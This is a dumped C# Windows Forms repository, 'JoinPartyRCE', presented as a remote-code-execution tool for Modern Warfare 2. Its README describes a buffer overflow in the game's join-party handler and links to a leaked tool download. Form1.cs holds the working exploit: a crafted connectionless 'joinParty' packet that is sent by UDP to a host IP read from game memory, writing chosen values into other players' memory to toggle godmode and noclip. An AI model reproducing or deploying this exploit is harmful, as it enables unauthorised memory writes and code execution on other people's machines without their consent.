├── .vs
├── ProjectSettings.json
└── slnx.sqlite
├── Blasts_Test
├── obj
│ ├── Debug
│ │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
│ │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
│ │ ├── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
│ │ ├── Blasts_Test.csproj.CoreCompileInputs.cache
│ │ ├── Blasts_Test.exe
│ │ ├── Blasts_Test.pdb
│ │ ├── Blasts_Test.Form1.resources
│ │ ├── Blasts_Test.Properties.Resources.resources
│ │ ├── Blasts_Test.csproj.GenerateResource.cache
│ │ ├── Blasts_Test.csprojAssemblyReference.cache
│ │ ├── DesignTimeResolveAssemblyReferences.cache
│ │ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ │ └── Blasts_Test.csproj.FileListAbsolute.txt
│ └── Release
│ │ └── Blasts_Test.csproj.CoreCompileInputs.cache
├── bin
│ └── Debug
│ │ ├── Blasts_Test.exe
│ │ ├── Blasts_Test.pdb
│ │ └── Blasts_Test.exe.config
├── App.config
├── Properties
│ ├── Settings.settings
│ ├── Settings.Designer.cs
│ ├── AssemblyInfo.cs
│ ├── Resources.Designer.cs
│ └── Resources.resx
├── Program.cs
├── Blasts_Test.csproj
├── Form1.cs
├── Form1.resx
└── Form1.Designer.cs
├── README.md
└── Blasts_Test.sln
/.vs/ProjectSettings.json:
--------------------------------------------------------------------------------
1 | {
2 | "CurrentProjectSetting": null
3 | }
--------------------------------------------------------------------------------
/Blasts_Test/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Blasts_Test/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Blasts_Test/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/.vs/slnx.sqlite:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BlastsMods/JoinPartyRCE/HEAD/.vs/slnx.sqlite
--------------------------------------------------------------------------------
/Blasts_Test/obj/Debug/Blasts_Test.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | d6dcf41a97d733dc563f3cc13fb2efe540724d24
2 |
--------------------------------------------------------------------------------
/Blasts_Test/obj/Release/Blasts_Test.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | d6dcf41a97d733dc563f3cc13fb2efe540724d24
2 |
--------------------------------------------------------------------------------
/Blasts_Test/bin/Debug/Blasts_Test.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BlastsMods/JoinPartyRCE/HEAD/Blasts_Test/bin/Debug/Blasts_Test.exe
--------------------------------------------------------------------------------
/Blasts_Test/bin/Debug/Blasts_Test.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BlastsMods/JoinPartyRCE/HEAD/Blasts_Test/bin/Debug/Blasts_Test.pdb
--------------------------------------------------------------------------------
/Blasts_Test/obj/Debug/Blasts_Test.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BlastsMods/JoinPartyRCE/HEAD/Blasts_Test/obj/Debug/Blasts_Test.exe
--------------------------------------------------------------------------------
/Blasts_Test/obj/Debug/Blasts_Test.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BlastsMods/JoinPartyRCE/HEAD/Blasts_Test/obj/Debug/Blasts_Test.pdb
--------------------------------------------------------------------------------
/Blasts_Test/obj/Debug/Blasts_Test.Form1.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BlastsMods/JoinPartyRCE/HEAD/Blasts_Test/obj/Debug/Blasts_Test.Form1.resources
--------------------------------------------------------------------------------
/Blasts_Test/obj/Debug/Blasts_Test.Properties.Resources.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BlastsMods/JoinPartyRCE/HEAD/Blasts_Test/obj/Debug/Blasts_Test.Properties.Resources.resources
--------------------------------------------------------------------------------
/Blasts_Test/obj/Debug/Blasts_Test.csproj.GenerateResource.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BlastsMods/JoinPartyRCE/HEAD/Blasts_Test/obj/Debug/Blasts_Test.csproj.GenerateResource.cache
--------------------------------------------------------------------------------
/Blasts_Test/obj/Debug/Blasts_Test.csprojAssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BlastsMods/JoinPartyRCE/HEAD/Blasts_Test/obj/Debug/Blasts_Test.csprojAssemblyReference.cache
--------------------------------------------------------------------------------
/Blasts_Test/obj/Debug/DesignTimeResolveAssemblyReferences.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BlastsMods/JoinPartyRCE/HEAD/Blasts_Test/obj/Debug/DesignTimeResolveAssemblyReferences.cache
--------------------------------------------------------------------------------
/Blasts_Test/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/BlastsMods/JoinPartyRCE/HEAD/Blasts_Test/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/Blasts_Test/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Blasts_Test/bin/Debug/Blasts_Test.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Blasts_Test/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/Blasts_Test/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Threading.Tasks;
5 | using System.Windows.Forms;
6 |
7 | namespace Blasts_Test
8 | {
9 | static class Program
10 | {
11 | ///
12 | /// The main entry point for the application.
13 | ///
14 | [STAThread]
15 | static void Main()
16 | {
17 | Application.EnableVisualStyles();
18 | Application.SetCompatibleTextRenderingDefault(false);
19 | Application.Run(new Form1());
20 | }
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | This RCE uses a buffer overflow found in the function PartyHost_HandleJoinPartyRequest.
2 |
3 | --
4 |
5 | Since Modern Warfare 2 does not encrypt connectionless packets, you do not have to be on the game to use this, just specify the IP address of the client you want to RCE and send the packet.
6 |
7 | --
8 |
9 | Credits:
10 |
11 | Gamer7112 for finding the exploit.
12 |
13 | AssumingAgate for stealing the packet from XBOX360LSBEST (Gamer7112's friend).
14 |
15 | Blasts Mods for making this shitty tool.
16 |
17 | --
18 |
19 | If you want to download AssumingAgate's leaked tool that has more options, download it here:
20 |
21 | https://anonfile.com/7eadwf76n8/RCE-CabConModding.com-LeakedBySwoon_rar
22 |
--------------------------------------------------------------------------------
/Blasts_Test/obj/Debug/Blasts_Test.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\John\source\repos\Blasts_Test\Blasts_Test\bin\Debug\Blasts_Test.exe.config
2 | C:\Users\John\source\repos\Blasts_Test\Blasts_Test\bin\Debug\Blasts_Test.exe
3 | C:\Users\John\source\repos\Blasts_Test\Blasts_Test\bin\Debug\Blasts_Test.pdb
4 | C:\Users\John\source\repos\Blasts_Test\Blasts_Test\obj\Debug\Blasts_Test.csprojAssemblyReference.cache
5 | C:\Users\John\source\repos\Blasts_Test\Blasts_Test\obj\Debug\Blasts_Test.Form1.resources
6 | C:\Users\John\source\repos\Blasts_Test\Blasts_Test\obj\Debug\Blasts_Test.Properties.Resources.resources
7 | C:\Users\John\source\repos\Blasts_Test\Blasts_Test\obj\Debug\Blasts_Test.csproj.GenerateResource.cache
8 | C:\Users\John\source\repos\Blasts_Test\Blasts_Test\obj\Debug\Blasts_Test.csproj.CoreCompileInputs.cache
9 | C:\Users\John\source\repos\Blasts_Test\Blasts_Test\obj\Debug\Blasts_Test.exe
10 | C:\Users\John\source\repos\Blasts_Test\Blasts_Test\obj\Debug\Blasts_Test.pdb
11 |
--------------------------------------------------------------------------------
/Blasts_Test.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.28307.902
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Blasts_Test", "Blasts_Test\Blasts_Test.csproj", "{FED36B72-43C1-473C-AE38-5C8F3BE70BD4}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {FED36B72-43C1-473C-AE38-5C8F3BE70BD4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {FED36B72-43C1-473C-AE38-5C8F3BE70BD4}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {FED36B72-43C1-473C-AE38-5C8F3BE70BD4}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {FED36B72-43C1-473C-AE38-5C8F3BE70BD4}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {B74E9AB2-E698-4CB3-8623-4EC78A865CEC}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/Blasts_Test/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace Blasts_Test.Properties
12 | {
13 |
14 |
15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
18 | {
19 |
20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
21 |
22 | public static Settings Default
23 | {
24 | get
25 | {
26 | return defaultInstance;
27 | }
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/Blasts_Test/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("Blasts_Test")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("Blasts_Test")]
13 | [assembly: AssemblyCopyright("Copyright © 2019")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("fed36b72-43c1-473c-ae38-5c8f3be70bd4")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/Blasts_Test/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace Blasts_Test.Properties
12 | {
13 |
14 |
15 | ///
16 | /// A strongly-typed resource class, for looking up localized strings, etc.
17 | ///
18 | // This class was auto-generated by the StronglyTypedResourceBuilder
19 | // class via a tool like ResGen or Visual Studio.
20 | // To add or remove a member, edit your .ResX file then rerun ResGen
21 | // with the /str option, or rebuild your VS project.
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources
26 | {
27 |
28 | private static global::System.Resources.ResourceManager resourceMan;
29 |
30 | private static global::System.Globalization.CultureInfo resourceCulture;
31 |
32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
33 | internal Resources()
34 | {
35 | }
36 |
37 | ///
38 | /// Returns the cached ResourceManager instance used by this class.
39 | ///
40 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
41 | internal static global::System.Resources.ResourceManager ResourceManager
42 | {
43 | get
44 | {
45 | if ((resourceMan == null))
46 | {
47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Blasts_Test.Properties.Resources", typeof(Resources).Assembly);
48 | resourceMan = temp;
49 | }
50 | return resourceMan;
51 | }
52 | }
53 |
54 | ///
55 | /// Overrides the current thread's CurrentUICulture property for all
56 | /// resource lookups using this strongly typed resource class.
57 | ///
58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
59 | internal static global::System.Globalization.CultureInfo Culture
60 | {
61 | get
62 | {
63 | return resourceCulture;
64 | }
65 | set
66 | {
67 | resourceCulture = value;
68 | }
69 | }
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/Blasts_Test/Blasts_Test.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {FED36B72-43C1-473C-AE38-5C8F3BE70BD4}
8 | WinExe
9 | Blasts_Test
10 | Blasts_Test
11 | v4.6.1
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 | Form
51 |
52 |
53 | Form1.cs
54 |
55 |
56 |
57 |
58 | Form1.cs
59 |
60 |
61 | ResXFileCodeGenerator
62 | Resources.Designer.cs
63 | Designer
64 |
65 |
66 | True
67 | Resources.resx
68 |
69 |
70 | SettingsSingleFileGenerator
71 | Settings.Designer.cs
72 |
73 |
74 | True
75 | Settings.settings
76 | True
77 |
78 |
79 |
80 |
81 |
82 |
83 |
--------------------------------------------------------------------------------
/Blasts_Test/Form1.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Threading.Tasks;
9 | using System.Windows.Forms;
10 | using System.Diagnostics;
11 | using System.IO;
12 | using System.Runtime.InteropServices;
13 | using System.Net;
14 | using System.Threading;
15 | using System.Net.Sockets;
16 |
17 | namespace Blasts_Test
18 | {
19 | public partial class Form1 : Form
20 | {
21 | public Form1()
22 | {
23 | InitializeComponent();
24 | }
25 |
26 | [DllImport("kernel32.dll")]
27 | public static extern bool ReadProcessMemory(int hProcess, UInt32 lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesRead);
28 |
29 | private byte[] GetBytes(string ModuleName, UInt32 Address, int Length)
30 | {
31 | byte[] buffer = new byte[Length];
32 |
33 | foreach (Process mod in Process.GetProcesses())
34 | {
35 | if (mod.ProcessName == ModuleName)
36 | {
37 | ReadProcessMemory((int)mod.Handle, Address, buffer, Length, ref Length);
38 | }
39 | }
40 |
41 | return buffer;
42 | }
43 |
44 | public byte[] ReadBytes(string ModuleName, UInt32 offset, int length)
45 | {
46 | byte[] buffer = GetBytes(ModuleName, offset, length);
47 | return buffer;
48 | }
49 |
50 | public string ReadString(string ModuleName, int offset)
51 | {
52 | int blocksize = 40;
53 | int scalesize = 0;
54 | string str = string.Empty;
55 |
56 | while (!str.Contains('\0'))
57 | {
58 | byte[] buffer = ReadBytes(ModuleName, (uint)offset + (uint)scalesize, blocksize);
59 | str += Encoding.UTF8.GetString(buffer);
60 | scalesize += blocksize;
61 | }
62 |
63 | return str.Substring(0, str.IndexOf('\0'));
64 | }
65 |
66 | public uint getPlayerstate(uint client)
67 | {
68 | return 0x01B0E1C0 + (client * 0x366C);
69 | }
70 |
71 | public uint getEntity(uint client)
72 | {
73 | return 0x0194B9D0 + (client * 0x274);
74 | }
75 |
76 | private void button1_Click(object sender, EventArgs e)
77 | {
78 | listBox1.Items.Clear();
79 | for (int i = 0; i < 18; i++)
80 | {
81 | listBox1.Items.Add(ReadString("iw4mp", 0x10F9362 + (0xE0 * i)));
82 | }
83 | }
84 |
85 | private void Send(string IP, ushort Port, byte[] Data)
86 | {
87 | Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
88 |
89 | IPAddress serverAddr = IPAddress.Parse(IP);
90 |
91 | IPEndPoint endPoint = new IPEndPoint(serverAddr, Port);
92 |
93 | sock.SendTo(Data, endPoint);
94 |
95 | sock.Close();
96 | }
97 |
98 | public static string ConvertIP(byte[] input, string spacer)
99 | {
100 | string str = string.Empty;
101 | for (int i = 0; i < 4; ++i)
102 | {
103 | Decimal num = Convert.ToDecimal(input[i]);
104 | str = i == 3 ? str + Convert.ToString(num) : str + Convert.ToString(num) + spacer;
105 | }
106 | return str;
107 | }
108 |
109 | public void WriteUInt(uint Address, uint Value)
110 | {
111 | string exp = "ÿÿÿÿ1joinParty 149 1 1 0 0 0 32 0 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 4273664 28882928 6706537 0 4198910 4273664 " + (uint)(Address - 0x14) + " 6706537 " + (uint)Value + " 4198910 5677570";
112 |
113 | byte[] HostIP = ReadBytes("iw4mp", 0xAF6028, 4); //Grab Host's IP from NetChan
114 | string HostIPString = ConvertIP(HostIP, "."); //Convert IP to string and format it correctly
115 |
116 | byte[] Packet = Encoding.ASCII.GetBytes(exp); //Convert string to byte array
117 |
118 | Buffer.BlockCopy(BitConverter.GetBytes(0xFFFFFFFF), 0, Packet, 0, 4); //Overwrite first 4 bytes to specify connectionless packet, idk why but ascii conversion fails
119 |
120 | //Send Packet
121 | Send(HostIPString, 28960, Packet);
122 | }
123 |
124 | private void button2_Click(object sender, EventArgs e)
125 | {
126 | uint SelectedClient = (uint)listBox1.SelectedIndex;
127 | WriteUInt(getEntity(SelectedClient) + 0x184, 1);
128 | }
129 |
130 | private void button3_Click(object sender, EventArgs e)
131 | {
132 | uint SelectedClient = (uint)listBox1.SelectedIndex;
133 | WriteUInt(getEntity(SelectedClient) + 0x184, 0);
134 | }
135 |
136 | private void button5_Click(object sender, EventArgs e)
137 | {
138 | uint SelectedClient = (uint)listBox1.SelectedIndex;
139 | WriteUInt(getPlayerstate(SelectedClient) + 0x3394, 1);
140 | }
141 |
142 | private void button4_Click(object sender, EventArgs e)
143 | {
144 | uint SelectedClient = (uint)listBox1.SelectedIndex;
145 | WriteUInt(getPlayerstate(SelectedClient) + 0x3394, 0);
146 | }
147 |
148 | private void button6_Click(object sender, EventArgs e)
149 | {
150 | System.Diagnostics.Process.Start("https://github.com/BlastsMods/JoinPartyRCE");
151 | }
152 | }
153 | }
154 |
--------------------------------------------------------------------------------
/Blasts_Test/Properties/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 | text/microsoft-resx
107 |
108 |
109 | 2.0
110 |
111 |
112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
113 |
114 |
115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
--------------------------------------------------------------------------------
/Blasts_Test/Form1.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/Blasts_Test/Form1.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace Blasts_Test
2 | {
3 | partial class Form1
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.listBox1 = new System.Windows.Forms.ListBox();
32 | this.button1 = new System.Windows.Forms.Button();
33 | this.groupBox1 = new System.Windows.Forms.GroupBox();
34 | this.button2 = new System.Windows.Forms.Button();
35 | this.button3 = new System.Windows.Forms.Button();
36 | this.button4 = new System.Windows.Forms.Button();
37 | this.button5 = new System.Windows.Forms.Button();
38 | this.button6 = new System.Windows.Forms.Button();
39 | this.label1 = new System.Windows.Forms.Label();
40 | this.label2 = new System.Windows.Forms.Label();
41 | this.groupBox1.SuspendLayout();
42 | this.SuspendLayout();
43 | //
44 | // listBox1
45 | //
46 | this.listBox1.FormattingEnabled = true;
47 | this.listBox1.Location = new System.Drawing.Point(583, 7);
48 | this.listBox1.Name = "listBox1";
49 | this.listBox1.Size = new System.Drawing.Size(205, 407);
50 | this.listBox1.TabIndex = 0;
51 | //
52 | // button1
53 | //
54 | this.button1.Location = new System.Drawing.Point(583, 420);
55 | this.button1.Name = "button1";
56 | this.button1.Size = new System.Drawing.Size(205, 23);
57 | this.button1.TabIndex = 1;
58 | this.button1.Text = "Get Clients";
59 | this.button1.UseVisualStyleBackColor = true;
60 | this.button1.Click += new System.EventHandler(this.button1_Click);
61 | //
62 | // groupBox1
63 | //
64 | this.groupBox1.Controls.Add(this.button4);
65 | this.groupBox1.Controls.Add(this.button5);
66 | this.groupBox1.Controls.Add(this.button3);
67 | this.groupBox1.Controls.Add(this.button2);
68 | this.groupBox1.Location = new System.Drawing.Point(12, 12);
69 | this.groupBox1.Name = "groupBox1";
70 | this.groupBox1.Size = new System.Drawing.Size(207, 80);
71 | this.groupBox1.TabIndex = 2;
72 | this.groupBox1.TabStop = false;
73 | this.groupBox1.Text = "Client Options";
74 | //
75 | // button2
76 | //
77 | this.button2.Location = new System.Drawing.Point(6, 19);
78 | this.button2.Name = "button2";
79 | this.button2.Size = new System.Drawing.Size(95, 23);
80 | this.button2.TabIndex = 3;
81 | this.button2.Text = "Godmode ON";
82 | this.button2.UseVisualStyleBackColor = true;
83 | this.button2.Click += new System.EventHandler(this.button2_Click);
84 | //
85 | // button3
86 | //
87 | this.button3.Location = new System.Drawing.Point(107, 19);
88 | this.button3.Name = "button3";
89 | this.button3.Size = new System.Drawing.Size(95, 23);
90 | this.button3.TabIndex = 4;
91 | this.button3.Text = "Godmode OFF";
92 | this.button3.UseVisualStyleBackColor = true;
93 | this.button3.Click += new System.EventHandler(this.button3_Click);
94 | //
95 | // button4
96 | //
97 | this.button4.Location = new System.Drawing.Point(107, 48);
98 | this.button4.Name = "button4";
99 | this.button4.Size = new System.Drawing.Size(95, 23);
100 | this.button4.TabIndex = 6;
101 | this.button4.Text = "NoClip OFF";
102 | this.button4.UseVisualStyleBackColor = true;
103 | this.button4.Click += new System.EventHandler(this.button4_Click);
104 | //
105 | // button5
106 | //
107 | this.button5.Location = new System.Drawing.Point(6, 48);
108 | this.button5.Name = "button5";
109 | this.button5.Size = new System.Drawing.Size(95, 23);
110 | this.button5.TabIndex = 5;
111 | this.button5.Text = "NoClip ON";
112 | this.button5.UseVisualStyleBackColor = true;
113 | this.button5.Click += new System.EventHandler(this.button5_Click);
114 | //
115 | // button6
116 | //
117 | this.button6.Location = new System.Drawing.Point(11, 386);
118 | this.button6.Name = "button6";
119 | this.button6.Size = new System.Drawing.Size(207, 23);
120 | this.button6.TabIndex = 7;
121 | this.button6.Text = "Click me for source (github)";
122 | this.button6.UseVisualStyleBackColor = true;
123 | this.button6.Click += new System.EventHandler(this.button6_Click);
124 | //
125 | // label1
126 | //
127 | this.label1.AutoSize = true;
128 | this.label1.Location = new System.Drawing.Point(9, 412);
129 | this.label1.Name = "label1";
130 | this.label1.Size = new System.Drawing.Size(191, 13);
131 | this.label1.TabIndex = 8;
132 | this.label1.Text = "Credits to Gamer7112 for finding exploit";
133 | //
134 | // label2
135 | //
136 | this.label2.AutoSize = true;
137 | this.label2.Location = new System.Drawing.Point(9, 430);
138 | this.label2.Name = "label2";
139 | this.label2.Size = new System.Drawing.Size(331, 13);
140 | this.label2.TabIndex = 9;
141 | this.label2.Text = "Credits to AssumingAgate for stealing packet from XBOX360LSBEST";
142 | //
143 | // Form1
144 | //
145 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
146 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
147 | this.ClientSize = new System.Drawing.Size(800, 450);
148 | this.Controls.Add(this.label2);
149 | this.Controls.Add(this.label1);
150 | this.Controls.Add(this.button6);
151 | this.Controls.Add(this.groupBox1);
152 | this.Controls.Add(this.button1);
153 | this.Controls.Add(this.listBox1);
154 | this.Name = "Form1";
155 | this.Text = "BlastsMods\' Tool (Based off of Leaked RCE Tool)";
156 | this.groupBox1.ResumeLayout(false);
157 | this.ResumeLayout(false);
158 | this.PerformLayout();
159 |
160 | }
161 |
162 | #endregion
163 |
164 | private System.Windows.Forms.ListBox listBox1;
165 | private System.Windows.Forms.Button button1;
166 | private System.Windows.Forms.GroupBox groupBox1;
167 | private System.Windows.Forms.Button button3;
168 | private System.Windows.Forms.Button button2;
169 | private System.Windows.Forms.Button button4;
170 | private System.Windows.Forms.Button button5;
171 | private System.Windows.Forms.Button button6;
172 | private System.Windows.Forms.Label label1;
173 | private System.Windows.Forms.Label label2;
174 | }
175 | }
176 |
177 |
--------------------------------------------------------------------------------